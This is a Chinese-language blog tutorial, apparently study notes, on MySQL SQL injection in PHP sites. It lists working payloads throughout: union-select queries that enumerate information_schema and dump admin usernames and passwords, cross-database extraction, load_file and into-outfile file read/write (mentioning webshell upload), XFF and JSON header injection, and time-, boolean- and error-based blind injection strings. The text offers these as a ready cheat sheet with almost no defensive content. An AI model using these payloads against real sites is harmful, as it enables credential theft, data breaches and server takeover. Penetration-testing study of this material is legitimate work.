当前位置:   article > 正文

php之sql注入_php sql注入

php sql注入

mysql注入

mysql里面有内置的管理员用户,其中root就是默认数据库管理员用户

1.数据库统一管理(root用户)

mysql

        root

                root(默认自带)

                        网站A (testA)

                        网站B (testB)

2.数据库一对一管理(不同用户)

mysql

        testA用户

                网站A testA

        testB用户

                网站B testB

root用户:先测试读写,后获取数据(直接上传一句话木马)

非root用户:直接测试获取数据

SQL常规查询

1、数据库版本-看是否符合information_schema查询-version()

2、数据库用户符合ROOT型注入攻击-user()

3、当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os

4、数据库名字-为后期猜解指定数据库下的表、列做准备-database()

MYSQL5.0以上版本:自带的数据库名information_schema

information_schema        数据库里面所有的信息

information_schema.schemata        所有的数据库名

information_schema.tables        所有的数据表

information_schema.columns        所有数据列

schema_name:information_schema.schemata记录数据库名信息的列名值

table_schema:information_schema.tables记录数据库名的列名值

table_name:information_schema.tables记录表名的列名值

column_name:information_schema.columns记录列名的列名值

有回显,常见的注入测试

  1. order by 6 先找到有多少个长度
  2. union select 1,2,3,database(),user(),6 直接爆出数据库和用户权限
  3. union select 1,2,3,version(),@@version_compile_os,6 版本和操作系统
  4. union select 1,2,3,4,group_concat(table_name),6 from information_schema.tables where table_schema='demo01' 直接利用information_schema.tables爆出所有的表,group_concat是所有的,不加只能爆一个
  5. union select 1,2,3,4,group_concat(column_name),6 from information_schema.columns where table_name='admin' 用informaation_schema.columns爆出所有的列,然后后面再限定一个表
  6. union select 1,2,3,username,password,6 from admin limit 0,1 爆出表为admin,列名为username,password的值

跨库查询

通过A网站的注入点直接拿到B网站的信息,但前提是需要root权限

  1. 获取所有的数据库union select 1,2,3,4,group_concat(schema_name),6 from information_schema.schemata
  2. 获取zblog的所有的表union select 1,2,3,4,group_concat(table_name),6 from information_schema.tables where table_schema='zblog'
  3. 获取表为zbp_member的所有列union select 1,2,3,4,group_concat(column_name),6 from information_schema.columns where table_name='zbp_member' and table_schema='zblog'
  4. 只有最后一步,zblog.zbp_member表示一个上下级关系union select 1,2,3,mem_Name,mem_Password,6 from zblog.zbp_member

文件读写

影响条件:当前数据库用户权限 secure-file-priv设置

  1. union select 1,load_file('d:\\t.txt'),3,4,5,6
  2. union select 1,'xiaodi',3,4,5,6 into outfile 'd:\\2.txt'

读写的路径问题:

1、报错显示获取路径

2、phpinfo页面泄露

如果单引号被限制了,可以使用16进制(sql注入中,编码就不用单引号,路径、表名、数据库等)

sql数据请求类型

因为黑盒测试中,不清楚带入的数据是怎样的,所以只能挨个挨个测试

  1. 数字型
  2. select * from news where id=$id;
  3. 字符型
  4. select * from news where id='$id'
  5. 搜索型
  6. select * from news where id like '%$id%'
  7. 框架型
  8. select * from news where id=('$id');
  9. select * from news where (id='$id');

数据请求方法

全局变量方法:GET POST SERVER FILES HTTP头等

get、post、server是直接带进去测试,是一种很常规的注入方法。

X-Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,(通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库or某文件[通过修改XXF头可以实现伪造IP]).

直接在数据包中加xxf,然后后面修改ip或者注入代码。

用户登录时就是利用post注入。

注入语句最后跟--+和#,这两个都可以相互替换试着来

数据请求格式,有些时候是base64加密,有些时候json加密,base64需要直接进行转换,json是用bp抓包后进行更改,直接在值上面。原来是

{"username":"admin"}改为{"username":"admin' union select 1,database(),version(),4#"}

增删改查

  1. 1.功能:查询
  2. SELECT * FROM news where id=$id
  3. 2.功能 :新增用户,添加新闻等
  4. INSERT INTO news (字段名) VALUES (数据)
  5. 3.功能:删除用户,删除新闻等
  6. DELETE FROM news WHERE id=$id
  7. 4.功能:修改用户,修改文章
  8. UPDATE new SET id=$id

盲注:盲注就是注入过程中,获取的数据不能回显至前端页面

  1. 延时盲注,如果条件成立,延时5秒,不成立延时0
  2. if(条件,sleep(5),sleep(0))
  3. 布尔盲注:有数据输出判断标准
  4. 报错注入:必须要有容错处理才行
  1. 延迟:
  2. and sleep(1);
  3. and if(1>2,sleep(1),0);
  4. and if(1<2,sleep(1),0);
  5. 布尔:
  6. and length(database())=7;
  7. and left(database(),1)='p';
  8. and left(database(),2)='pi';
  9. and substr(database(),1,1)='p';
  10. and substr(database(),2,1)='i';
  11. and ord(left(database(),1))=112;
  12. 报错:
  13. and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)
  14. and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
  15. 更多:https://www.jianshu.com/p/bc35f8dd4f7c
  16. 参考:
  17. like 'ro%' #判断ro或ro...是否成立
  18. regexp '^xiaodi[a-z]' #匹配xiaodi及xiaodi...等
  19. if(条件,5,0) #条件成立 返回5 反之 返回0
  20. sleep(5) #SQL语句延时执行5
  21. mid(a,b,c) #从位置b开始,截取a字符串的c位
  22. substr(a,b,c) #从位置b开始,截取字符串a的c长度
  23. left(database(),1),database() #left(a,b)从左侧截取a的前b位
  24. length(database())=8 #判断数据库database()名的长度
  25. ord=ascii ascii(x)=97 #判断x的ascii码是否等于97

二次注入、堆叠注入、外带注入

#实战中一般发现不了二次注入,除非用白盒审计。堆叠注入,一般出现在ctf中,外带注入忽略不计

 一般出现在用户注册登录修改密码,个人简历功能

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/小丑西瓜9/article/detail/573856
推荐阅读
相关标签
  

闽ICP备14008679号